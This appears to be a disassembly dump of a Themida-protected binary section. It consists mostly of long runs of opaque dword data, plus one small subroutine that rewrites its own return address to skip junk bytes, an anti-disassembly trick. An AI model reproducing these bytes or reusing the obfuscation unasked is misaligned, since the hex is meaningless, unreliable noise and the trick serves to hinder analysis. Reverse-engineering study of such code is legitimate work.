		dd 595A0FF2h, 3BDC858Dh, 0D28107E4h, 0F3268D1h,	8589D0FFh
		dd 7E40E6Dh, 7C19D09h, 85C607E4h, 7E42C2Dh, 55006A4Ch
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9A05965Fh, 669F8AEAh, 0D40FD281h, 0F1CA8152h, 5F793650h
		dd 0DA1CE968h, 0CE9D9h,	0A7B00000h, 633D792h, 0D8DB3AE9h
		dd 52601268h, 1C599501h, 805A07E4h, 0FF61B2EEh,	0E4019DB5h
		dd 0F98D8907h, 8D07E403h, 0E43BDC85h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 8FD05366h, 66D3B22Dh, 8F70CF81h, 8166D0FFh, 89F30EC2h
		dd 0E41BD585h, 5DBD8B07h, 0C607E435h, 0E42C2D85h, 0C5B94607h
		dd 685BFC0Ah, 0BADE0614h, 46DBC181h, 0B5FF1BB2h, 7E4019Dh
		dd 13E9h, 0D7D90300h, 0C4ED71A0h, 87906C25h, 9B5E077Eh
		dd 259F8E94h, 3BDC858Dh, 666007E4h, 0D080FB8Bh,	0D0FF614Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h
		dd 8B668B9Fh, 0CD8589D1h, 0E907E415h, 10h, 0E6B5CE22h
		dd 4569AD5Ch, 79AEF28Bh, 0C10299EFh, 0E314DF81h, 85C63F36h
		dd 7E42C2Dh, 50006A47h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 9D0160CAh, 7E40345h, 218D8D8Bh, 806107E4h
		dd 0E268CEF1h, 8B8A0FB5h, 0E40FA9BDh, 9DB5FF07h, 6607E401h
		dd 8B43D9BFh, 0E42A7995h, 0DC858D07h, 0F07E43Bh, 58Fh
		dd 0F2816600h, 0D0FF2ECFh, 11E9h, 33580500h, 4540E111h
		dd 94E482ECh, 216038C1h, 85898B4Eh, 7E41B81h, 1505BD33h
		dd 85C607E4h, 7E42C2Dh,	51006A47h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 608942C0h, 29CBBF0Fh
		dd 0E432F5B5h, 81666107h, 68D210E1h, 83D0B5F3h,	497C63B9h
		dd 9DB5FF0Bh, 6A07E401h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0DAD7C352h,	93B9877Bh
		dd 8D506C74h, 0E43BDC85h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 19DCC8C5h
		dd 4DFEAFB7h, 8961B2BEh, 0E4231595h, 0E9D0FF07h, 6, 595F011Fh
		dd 8589C8B9h, 7E413ADh,	2D85C6FCh, 7707E42Ch, 0B61958Bh
		dd 0A36807E4h, 89F397A8h, 0E403A9BDh, 0E1B5FF07h, 5307E41Dh
		dd 35C4B966h, 0D18B6659h, 3BDC858Dh, 8D0B07E4h,	7E40D7Dh
		dd 0FC53D0FFh, 6985895Fh, 8B07E421h, 0E408A18Dh, 2D85C607h
		dd 4707E42Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	39C35646h, 356D8D0Bh, 0BD8B07E4h, 7E425BDh, 28FAF668h
		dd 67EA8187h, 0FF21B1DBh, 0E4019DB5h, 6E907h, 0E36D0000h
		dd 0ED30559h, 3BDC858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E9F833C3h, 0Ch, 0F6B21B0Ah
		dd 0BC3BA195h, 4A6DFECFh, 0C6B2D0FFh, 12C58589h, 63B107E4h
		dd 2C2D85C6h, 664307E4h, 0FC68C88Bh, 66BC8E6Eh,	0FF104ABFh
		dd 0E4019DB5h, 9E907h, 67CE0000h, 79B86EC8h, 8D7A0381h
		dd 0E43BDC85h, 0E99D8907h, 0FF07E431h, 52006AD0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 89683938h, 0E41FD585h, 0DDBA6607h, 2D85C679h, 4507E42Ch
		dd 348F71BFh, 69696868h, 6A8E72h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCFB33C3h, 0BE9h, 83FE8D00h
		dd 7E37B9FEh, 0F6E2AD37h, 0FFD68B66h, 0E4019DB5h, 0A1B96607h
		dd 0DC858D8Ch, 8B07E43Bh, 0E4207D95h, 0E9D0FF07h, 7, 91623F18h
		dd 89A03ACCh, 0E4166585h, 0ABBF5707h, 59695A17h, 2C2D85C6h
		dd 0F4407E4h, 688h, 0A98D8B00h,	6807E418h, 0B8F2EC64h
		dd 0B5FF76B6h, 7E4019Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 40C35545h, 70E691DCh,	0BCC08025h, 3D853160h
		dd 6607E40Eh, 2AC4C381h, 0B18D2361h, 8D07E42Fh,	0E43BDC85h
		dd 43CA8107h, 0FF2C4574h, 850FD0h, 89000000h, 0E4140585h
		dd 0C6F98B07h, 0E42C2D85h, 0FA8B4307h, 764AA768h, 0D5BD8BC0h
		dd 0FF07E417h, 0E4019DB5h, 0F6BA6607h, 0DC858D30h, 6A07E43Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8599C350h, 6055C344h, 8E8h, 97331600h, 786617E5h
		dd 0ABB6626h, 0BA665F8Ah, 6661774Fh, 0D0FFCA8Bh, 718589F5h
		dd 8B07E409h, 0E418DD8Dh, 22BD8007h, 7E737h, 0FA840Fh
		dd 0BD8B0000h, 7E408EDh, 4858DF9h, 8007E737h, 9E8A7D2h
		dd 67000000h, 2AC73D6Eh, 61AA80EFh, 7BEF8166h, 6A505973h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 48B2C356h, 0F0ABB8A0h, 0C9816650h, 0BA5AA9DDh
		dd 44D91D3h, 10E9016Ah,	88000000h, 819778Bh, 1361A4B6h
		dd 89EDB43Ch, 6A247C8Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C9BF0F88h, 19FD8589h
		dd 6A07E4h, 3D19D89h, 666007E4h, 0F380F88Bh, 95FF61CBh
		dd 7E40E6Dh, 18F1BD8Bh,	858907E4h, 7E40DA1h, 23FF6AFCh
		dd 0E42205BDh, 0B9665207h, 0FF5A3CB9h, 0E40DA1B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A5D95120h, 0D68B8D91h, 304D95FFh, 5E907E4h,	6B000000h
		dd 53FC66A3h, 958BC08Bh, 7E42415h, 13F1BD83h, 750007E4h
		dd 35BD8309h, 7E409h, 53501974h, 0D1B8C08Bh, 89000007h
		dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh
		dd 17740007h, 0D1B85350h, 89000007h, 0E4147985h, 0DF9D8D07h
		dd 0FF07E6E6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0D933C352h,	2612AD67h
		dd 5E9A6h, 0D2A70000h, 8B0F4C3Eh, 0E409ED8Dh, 6E96007h
		dd 95000000h, 10F34C42h, 958B6155h, 7E41859h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0E0191FC3h, 0FBE8F8Bh, 685h,	25B58900h, 0C607E404h
		dd 0E42C2D85h, 6A4707h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1E0D21C3h, 7B0A076Ah, 0F7C16857h
		dd 8B6693C8h, 9DB5FFCEh, 0F07E401h, 858DCFBFh, 7E43BDCh
		dd 1B6AC9B9h, 66D0FF63h, 1AF2E981h, 5DBD8B50h, 6607E432h
		dd 8D8D91BFh, 0E73B4585h, 85896007h, 7E43219h, 0E069BE66h
		dd 9400C761h, 89000000h, 0E429BD8Dh, 0BF0F5807h, 45B58DFFh
		dd 6607E73Bh, 0F856D68Bh, 8D29D0FFh, 7E4191Dh, 3B45858Dh
		dd 10E907E7h, 2D000000h, 0D17D79BCh, 58F73D5Eh,	0C604EB55h
		dd 83864532h, 0F060478h, 2285h,	8F0F6000h, 3, 29C7BF0Fh
		dd 0E41809BDh, 85C76107h, 7E73BD9h, 1, 0CF816657h, 835FCAF2h
		dd 0E43345BDh, 850F0007h, 62h, 1C158D0Bh, 12E907E4h, 32000000h
		dd 3552EAh, 766A5761h, 729E47AFh, 4AED4794h, 0D9BD8341h
		dd 7E73Bh, 38850Fh, 850F0000h, 4, 8927BF66h, 12699D89h
		dd 0BD8307E4h, 7E41465h, 1B840F00h, 66000000h, 85C7FE8Bh
		dd 7E4231Dh, 0
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E42359h],	ecx
		mov	ebx, [ebp+7E413A9h]
		popa
		mov	bx, ds
		push	0
		push	ecx
		call	sub_5B6CB8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6CB8	proc near		; CODE XREF: Themida_:005B6CB0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B6CB8	endp

; ---------------------------------------------------------------------------
		dd 4A8ED918h, 661845A4h, 601FD981h, 0F04C3F6h, 56F84h
		dd 8D8B5600h, 7E40EF5h,	0C7D18B5Fh, 0E4201585h,	7, 5CC98100h
		dd 800D356Fh, 0E7372FBDh, 850F0007h, 5,	24CA8166h, 2D85C634h
		dd 4707E42Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0D9C35040h, 0CA8B6617h,	0E45B8668h, 0F9BF0FE3h
		dd 19DB5FFh, 0C88B07E4h, 3BDC858Dh, 6A07E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E8E306C3h
		dd 81D0FF46h, 95EEDAC7h, 1046862h, 0C88B0000h, 16BD9D8Dh
		dd 0BF6607E4h, 0E953C41Eh, 9, 626CAF55h, 62A688B0h, 0BD3153B2h
		dd 7E412C9h, 81D0FF5Ah,	453814C1h, 0BD858D4Fh, 8B07E416h
		dd 0E401A5BDh, 6A5007h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF666BC3h, 10E867B5h, 9A000000h
		dd 0B151C820h, 715A9A55h, 404C8987h, 0B92FE6C6h, 2D68FD44h
		dd 0E1858D5Ah, 0F07E736h, 68Ch,	0C98D2B00h, 5007E42Dh
		dd 0BE9h, 7BC77400h, 608E0F72h,	0E3589527h, 2DB4858Dh
		dd 0B58907E7h, 7E4266Dh, 0B7B86050h, 0F0D5DB8h,	0FF61F7B7h
		dd 0E4216995h, 0BD035607h, 7E413D5h, 599D8959h,	8307E426h
		dd 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BE788C3h, 0E41C158Dh, 0D2B70F07h, 8068006Ah
		dd 6A000000h, 6A006A03h, 6800h,	858D8000h, 7E72DB4h, 0D595FF50h
		dd 8907E41Fh, 0E736C485h, 2D85C607h, 4707E42Ch,	0B15E8768h
		dd 9DB5FFC7h, 8D07E401h, 0E43BDC85h, 6AD0FF07h,	0C4B5FF00h
		dd 0FF07E736h, 998D8BD0h, 8907E406h, 0E40FA18Dh, 37D03D07h
		dd 830F0000h, 2Dh, 0FFFB8B66h, 0E736C4B5h, 0FEB70F07h
		dd 97195FFh, 8B6607E4h,	6E9D7h,	0B64B0000h, 2E1CE195h
		dd 13DE9h, 8B92B600h, 0E4147595h, 0C4B5FF07h, 6A07E736h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FD3C356h, 386h, 0FABF0F00h, 97195FFh, 6E807E4h
		dd 0E3000000h, 0DD1EF6ADh, 5EEE80F5h, 6A006A59h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7262C356h, 0E58D8B70h, 6A07E417h, 0AE800h, 66140000h
		dd 0D5470CEFh, 54019261h, 68A0Fh, 9D890000h, 7E40211h
		dd 0F8006A5Fh, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0FD409C3h, 43B70D30h, 95B589E9h
		dd 6A07E421h, 8E900h, 22CD0000h, 0B578AB60h, 6AC460h, 39506ABAh
		dd 0C8858D04h, 8007E736h, 858968F6h, 7E41E59h, 50006A50h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A257249h, 0E84B2491h, 12h, 137EFBF5h, 680CE233h, 599DDD76h
		dd 6ACF886Fh, 8529BF9Eh, 7E406ADh, 0D595FF59h, 0F07E41Fh
		dd 581h, 0B7C1BA00h, 0F88353E9h, 11850FFFh, 66000001h
		dd 858DFE8Bh, 7E6ED6Ch,	0FE8h, 0AA554100h, 84973CE4h, 73DBB3ECh
		dd 13E23823h, 5FF08A56h, 5E859h, 0BDB20000h, 8B3013B5h
		dd 0E4222195h, 0D0FF5907h, 6630E580h, 0D367D181h, 0B966006Ah
		dd 6A1154h, 0BD895360h,	7E41495h, 6A615Fh, 1890Fh, 6AF80000h
		dd 118D8900h, 6A07E430h, 0FE800h, 0F7F20000h, 0F0B7C4C7h
		dd 1126971Eh, 0A9DF33DEh, 5A98B6B8h, 8B66006Ah,	0C8858DC8h
		dd 8B07E736h, 0E41C858Dh, 0E1815007h, 37EB1F7Ch, 1FD595FFh
		dd 9BB207E4h, 0FFFF883h, 6F85h,	0DE900h, 85710000h, 9A02882Ch
		dd 7D4192A1h, 8D4F6EA9h, 0E730D0B5h, 0FEA0BA07h, 4DBF2ECDh
		dd 8D3CBF7Dh, 0E6DBD685h, 0F98B6607h, 9E9D0FFh,	7D000000h
		dd 2672300Eh, 8C105486h, 0EE8006Ah, 7A000000h, 0D3C22402h
		dd 2A0018DDh, 5827ED12h, 59D08BE5h, 166595FFh, 0BD0B07E4h
		dd 7E421BDh, 8D896057h,	7E42155h, 0E5BD89h, 5F6107E4h
		dd 36C48589h, 8D8B07E7h, 7E42ED9h, 1919589h, 6A07E4h, 8D10C180h
		dd 0E736BC85h, 5089B207h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 2CC35545h, 0BE4AA8DFh, 11E8h,	84E9E800h
		dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0DE80B142h, 46A59C3h
		dd 68A0Fh, 0B5890000h, 7E400FDh, 2D39858Dh, 6A07E4h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 42D399C3h, 8C7AABAAh, 0A358D0Bh, 0BD0307E4h,	7E40B15h
		dd 10E950h, 0B160000h, 5D777FE4h, 3C2F7CC3h, 1A681030h
		dd 6A56C0h, 6AD1B70Fh, 9E900h, 0AE910000h, 2DEBFC5Eh, 6A26A59Ch
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0B562FBF9h, 958B1F62h, 7E41B19h,	0FFD08B66h
		dd 0E736C4B5h, 8C0F6007h, 6, 890Fh, 52B20000h, 595FF61h
		dd 8907E414h, 0E4244D85h, 1B6AE907h, 0CF810000h, 5A8F6B45h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0B83BADC3h, 0B589EB3Ch, 7E418C5h,	13F1BD83h
		dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D2B8C08Bh
		dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h
		dd 0E40935BDh, 17740007h, 0D2B85350h, 89000007h, 0E4147985h
		dd 0DF9D8D07h, 0FF07E6E6h, 52585BD3h, 1CFD8589h, 665907E4h
		dd 16B2F181h, 0C08BFE8Bh, 201585C7h, 107E4h, 0B70F0000h
		dd 0E7B868C8h, 0B5FFCEE4h, 7E40DE1h, 3BDC858Dh,	0D0FF07E4h
		dd 23058589h, 858D07E4h, 7E73920h, 0DD858D50h, 5007E73Bh
		dd 168h, 595FF80h, 0B07E423h, 0C70A75C0h, 0E4026185h, 107h
		dd 0DBD46800h, 0B5FFC005h, 7E40DE1h, 3BDC858Dh,	0D0FF07E4h
		dd 1F98589h, 858D07E4h,	7E72B6Dh, 9DB5FF50h, 0FF07E401h
		dd 0E41B8195h, 74C00B07h, 8DD88B0Bh, 0E73B2085h, 0D3FF5007h
		dd 3B20858Dh, 836607E7h, 0A750938h, 2BFD85C7h, 107E4h
		dd 95FF0000h, 7E412C5h,	0FF25h,	5F88300h, 85C70A73h, 7E40101h
		dd 1, 5E59D29h,	816607E4h, 80964BC7h, 0BD80D0C1h, 7E7372Fh
		dd 3A840F00h, 33000000h, 0E401198Dh, 5D958907h,	8307E425h
		dd 0E73BD9BDh, 840F0007h, 2Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 51C35141h, 8B165F58h, 19CEE9F9h
		dd 0B5890000h, 7E414E9h, 2BFDBD83h, 0F0007E4h, 0E385h
		dd 0FE8B6600h, 36F9858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 788B1BC3h, 685C3395h
		dd 2EB950A6h, 0B200DAEFh, 0B6016A79h, 66006A5Fh, 35C8DF81h
		dd 3860Fh, 0C6800000h, 6A006A1Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F7C355h
		dd 20998D8Bh, 95FF07E4h, 7E40E6Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0EDC35040h,	0C35E3F64h, 0B39C177h
		dd 0E40455BDh, 81EF8107h, 8916AE47h, 0E7372385h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 6A17E035h, 15BD8BFFh, 0FF07E40Bh, 0E73723B5h
		dd 41BD8B07h, 0FF07E422h, 0E4304D95h, 2EF18007h, 2B34858Dh
		dd 0BA6607E7h, 0ECB566F0h, 7DBD8B50h, 0FF07E415h, 0E41BD595h
		dd 0A8BF6607h, 0BE858916h, 8907E72Bh, 0E42AF9B5h, 41858D07h
		dd 8A07E72Bh, 0FFFC50F1h, 0E72BBEB5h, 8195FF07h, 0F07E41Bh
		dd 58Ah, 0D7816600h, 85899182h,	7E4230Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 76C35040h, 6695A952h
		dd 0F935F781h, 0FE9h, 84A2E000h, 48703389h, 818263CEh
		dd 22255AF6h, 2BAF858Dh, 8E907E7h, 42000000h, 0EFC0495Ah
		dd 501B3BC6h, 8E9h, 7C9FCF00h, 39789F6Bh, 28E0F28h, 0B2000000h
		dd 0BEB5FF26h, 8907E72Bh, 0E4041195h, 0D0B70F07h, 1B8195FFh
		dd 8C0F07E4h, 3, 8BC8B70Fh, 0E40A758Dh,	0D2858907h, 6A07E72Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0D531C353h, 9A17492Bh, 8DF615A4h,	0E72B8E85h
		dd 958B5007h, 7E42139h,	0E758D8Bh, 0B5FF07E4h, 7E72BBEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C7C35545h
		dd 0B589FB67h, 7E429DDh, 1B8195FFh, 870F07E4h, 18h, 13E9h
		dd 420B0400h, 0E29EB7B2h, 0EC583849h, 3295A127h, 9082A072h
		dd 2BCA8589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0DD4E9BC3h, 0E57DE5E5h, 8DCBB70Fh
		dd 0E72B8185h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 36AB86B7h, 458D8966h
		dd 5007E405h, 0B5D98166h, 0BEB5FF52h, 6A07E72Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 9F76C351h, 158139Dh,	0FEA1BA2h, 95FFCFBFh, 7E41B81h
		dd 7AC5B966h, 0C1958B57h, 5A07E407h, 2BCE8589h,	0BD8B07E7h
		dd 7E42449h, 2B9C858Dh,	6A07E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 958B66C3h, 7E41639h
		dd 0CE8B6650h, 2BBEB5FFh, 8F0F07E7h, 4,	1CECBA66h, 0A35B589h
		dd 95FF07E4h, 7E41B81h,	89D0BF0Fh, 0E4192185h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 342F44A1h, 785ED287h, 198D896Eh, 8D07E426h, 0E72B5085h
		dd 1958B07h, 5007E414h,	23959589h, 8E907E4h, 46000000h
		dd 0E5B5F7F0h, 0FFB31A0Dh, 0E72BBEB5h, 0BAD7B207h, 2DE41F89h
		dd 1B8195FFh, 860F07E4h, 8, 0FD850950h,	5A07E419h, 2BC28589h
		dd 0F78107E7h, 0F2C295Dh, 2B5F858Dh, 958907E7h,	7E408CDh
		dd 0FF9CB650h, 0E72BBEB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E626D2BFh
		dd 60C3E38Fh, 8FE88166h, 0CE8D4h, 89E90000h, 832C86AEh
		dd 9DF9ED24h, 8D89C81Dh, 7E42B49h, 95FF615Fh, 7E41B81h
		dd 8D952952h, 5A07E421h, 2BC68589h, 0CE807E7h, 0B7000000h
		dd 0F1932ECDh, 604F5CA8h, 89A2D59Eh, 0E426E5B5h, 4685907h
		dd 0E9000001h, 0Ah, 4F525438h, 3EB2F386h, 858D9B2Ch, 7E72C56h
		dd 0FB8B6653h, 9589505Ah, 7E430BDh, 2D5A858Dh, 0B15707E7h
		dd 6A5059ADh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5A90C351h, 2F27FAFFh, 0FFF88B66h
		dd 0E413AD95h, 0FFB70F07h, 850FC085h, 4, 9CF6BF66h, 372FBD80h
		dd 0F0007E7h, 1685h, 99D0900h, 0E907E414h, 1504h, 18D9B589h
		dd 7BF07E4h, 83543D2Dh,	0E42BFDBDh, 850F0007h, 1Ch, 1981958Bh
		dd 0BD8307E4h, 7E73BD9h, 28840F00h, 9000000h, 0E4234195h
		dd 5FF85307h, 2BF3858Dh, 8B6607E7h, 14C2E9FEh, 85890000h
		dd 7E42EE1h, 0CE9h, 5D958B00h, 8D07E40Ah, 0E72BDE85h, 0BD315007h
		dd 7E424F9h, 2C56858Dh,	0EE907E7h, 0F000000h, 0D1FBC6AFh
		dd 0C3C2342Ch, 835C3CFBh, 9D895094h, 7E40B89h, 2C39958Bh
		dd 0BD8307E4h, 7E42BFDh, 67840F00h, 0E8000000h,	8, 2AAAFB01h
		dd 0C0341AF4h, 0CBE2F181h, 8D596C92h, 0E72D7C85h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0BD29F9D3h, 7E40D65h, 39E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B4205619h
		dd 0EDA0C361h, 858DCFFDh, 7E72D65h, 8860Fh, 8D0F0000h
		dd 2, 33506160h, 0E40DE5BDh, 0B4858D07h, 8907E72Dh, 0E4017985h
		dd 519D0107h, 5007E418h, 28F0Fh, 0D38A0000h, 216995FFh
		dd 83F907E4h, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 212EABC3h, 0DF1958Bh, 8BF907E4h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 31F57FD6h, 0E4232DBDh, 0F1BD8307h, 7E413h
		dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h,	7D3h, 14798589h
		dd 9D8D07E4h, 7E6E9F0h,	585BD3FFh, 935BD83h, 740007E4h
		dd 0B8535017h, 7D3h, 14798589h,	9D8D07E4h, 7E6E6DFh, 585BD3FFh
		dd 3B1208BFh, 82D98072h, 8B5FCA80h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0A10E7C14h
		dd 8166813Eh, 81656BD2h, 0E72BDEBDh, 65726F07h,	90840F61h
		dd 0F000000h, 0BF0FF9B7h, 56858DF9h, 5007E72Ch,	2D93858Dh
		dd 8D5007E7h, 0E72DB485h, 95FF5007h, 7E42169h, 0C60CC483h
		dd 0E42C2D85h, 4F684407h, 0FF96A318h, 0E4019DB5h, 0DC858D07h
		dd 0FF07E43Bh, 8DD88BD0h, 0E72DB485h, 0D3FF5007h, 2BDE858Dh
		dd 8D5007E7h, 0E72C5685h, 0BD835007h, 7E42BFDh,	8D087400h
		dd 0E72D7C85h, 8D06EB07h, 0E72D6585h, 858D5007h, 7E72DB4h
		dd 6995FF50h, 8307E421h, 840F10C4h, 5, 0B8E28166h, 0F1BD29CCh
		dd 0FF07E414h, 0E412C595h, 9CF18107h, 2570AE21h, 0FFh
		dd 42D8D8Bh, 0F88307E4h, 57830F05h, 3000000h, 0E4094DBDh
		dd 185C707h, 107E401h, 8D000000h, 0E72C1285h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 1D1BCB85h, 0DD9BADA6h, 0AE9D0h, 67260000h, 737D13D0h
		dd 87A9F9Dh, 70E9h, 55EF8100h, 0F061152h, 0BD83D7B7h, 7E42BFDh
		dd 43840F00h, 0F000000h, 58Bh, 0B70F5700h, 858D59F9h, 7E72C3Dh
		dd 0E119D89h, 0BD2B07E4h, 7E4153Dh, 38E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 6657D411h, 858DD08Bh, 7E72C1Fh, 0CE9h, 31DD8200h, 3E49F038h
		dd 289608F9h, 52858979h, 6A07E72Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 5BB5C350h
		dd 83D68B66h, 0E42BFDBDh, 850F0007h, 42h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 78C35747h, 0F415B268h
		dd 8B6694FFh, 8E9FEh, 0A74A0000h, 4D3C1A6Ch, 0BD830724h
		dd 7E73BD9h, 0E840F00h,	0F000000h, 9E9CFB7h, 89000011h
		dd 0E4328D85h, 441E907h, 49B20000h, 0BA66C08Bh,	0DA81104Eh
		dd 0A1CD5F4h, 13F1BD83h, 750007E4h
		dd 35BD8309h, 7E409h, 53501974h, 0D4B8C08Bh, 89000007h
		dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh
		dd 17740007h, 0D4B85350h, 89000007h, 0E4147985h, 0DF9D8D07h
		dd 0FF07E6E6h, 81585BD3h, 9EC76DD7h, 0C88B663Fh, 8B53C08Bh
		dd 3F6859D7h, 6A000F00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0E6D4C351h,	0CFA7831Dh
		dd 0E93CCCB3h, 0Fh, 0F756F6D5h,	1332DC4Bh, 7FB3D0C7h, 89DB1E4Ch
		dd 0E42B71BDh, 0B5006A07h, 89006ABCh, 0E40A859Dh, 0D95FF07h
		dd 6A07E423h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F82BC352h, 850FC085h,	11h, 5820Fh
		dd 81660000h, 23EEA5F2h, 0E430658Dh, 0D6858907h, 6607E72Bh
		dd 0FC3991BAh, 9589006Ah, 7E42A39h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 241E3FC3h
		dd 0C364B19Eh, 58E0Fh, 81660000h, 6A63A0D7h, 0CA8B6600h
		dd 0BD09006Ah, 7E40B3Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0F3FD09C3h, 0BA664F53h
		dd 858D0585h, 7E72DB4h,	19399D89h, 0E95007E4h, 5, 7A9A75ADh
		dd 0E8016AC5h, 0Ah, 0DC9887CAh,	72AB6249h, 0B5895EDFh
		dd 7E42735h, 29016A5Fh,	0E4053DBDh, 0E9016A07h,	0Ch, 6504A0A4h
		dd 0F09A4BB5h, 1F72EBFBh, 0F01FF68h, 98D8B00h, 8307E423h
		dd 0E42BFDBDh, 840F0007h, 4Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 42C35343h, 10E8h, 4BDA4700h
		dd 5C9D5E31h, 373EDF12h, 9C7E7AEDh, 0E595336Ch,	5F07E415h
		dd 2C33858Dh, 0BF0F07E7h, 1AE9FAh, 95890000h, 7E40AF9h
		dd 2C09858Dh, 0B6007E7h, 0E4056D9Dh, 618D8B07h,	6107E401h
		dd 0E8F18050h, 7D58050h, 2BD6B5FFh, 0B95207E7h,	2B2CF16Ah
		dd 0C295FF5Ah, 3107E72Bh, 0E41E19BDh, 0FC08507h, 1785h
		dd 68B0F00h, 29000000h,	0E421BD8Dh, 4DE907h, 8D890000h
		dd 7E42561h, 2BDA8589h,	0BF6607E7h, 0B5FF8A70h,	7E72BDAh
